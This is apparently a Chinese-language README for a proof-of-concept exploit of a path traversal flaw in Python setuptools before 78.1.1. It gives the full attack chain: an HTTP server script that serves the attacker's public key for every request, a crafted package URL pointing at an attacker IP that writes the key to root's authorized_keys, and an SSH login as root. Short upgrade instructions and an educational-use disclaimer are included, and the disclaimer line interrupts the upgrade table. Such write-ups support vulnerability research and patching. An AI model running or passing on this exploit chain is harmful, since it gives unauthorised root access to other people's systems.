针对 Python setuptools < 78.1.1 中路径遍历漏洞的概念验证利用代码。
通过滥用 PackageIndex 组件的 _download_url 函数,攻击者可以将任意文件写入文件系统的任何位置——具备运行 setuptools 的进程权限。
| 字段 | 详情 |
|---|---|
| 🎯 目标 | Python setuptools < 78.1.1 |
| 🐛 漏洞类型 | 路径遍历 (CWE-22) |
| 💥 影响 | 任意文件写入 |
| 📍 攻击向量 | 恶意包索引 URL |
| 🔍 根因 | 当第二个参数以 / 开头时,os.path.join() 会丢弃 tmpdir |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex# 将公钥复制到当前目录以便提供
cp ~/.ssh/id_rsa.pub authorized_keys
该服务器会对任何 GET 请求返回你的公钥——无论请求路径是什么。
setuptools 会请求 /USER/.ssh/authorized_keys 路径,但收到的是你的密钥内容。
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# 无论请求的路径是什么,都提供 authorized_keys
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
无需密码,直接获得 root shell。🔑
78.1.1 版本修复了该问题。
| 包管理器 | 命令 |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
此概念验证(PoC)代码仅供教育和授权渗透测试目的使用。
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ 手动 | setuptools 发布页面 |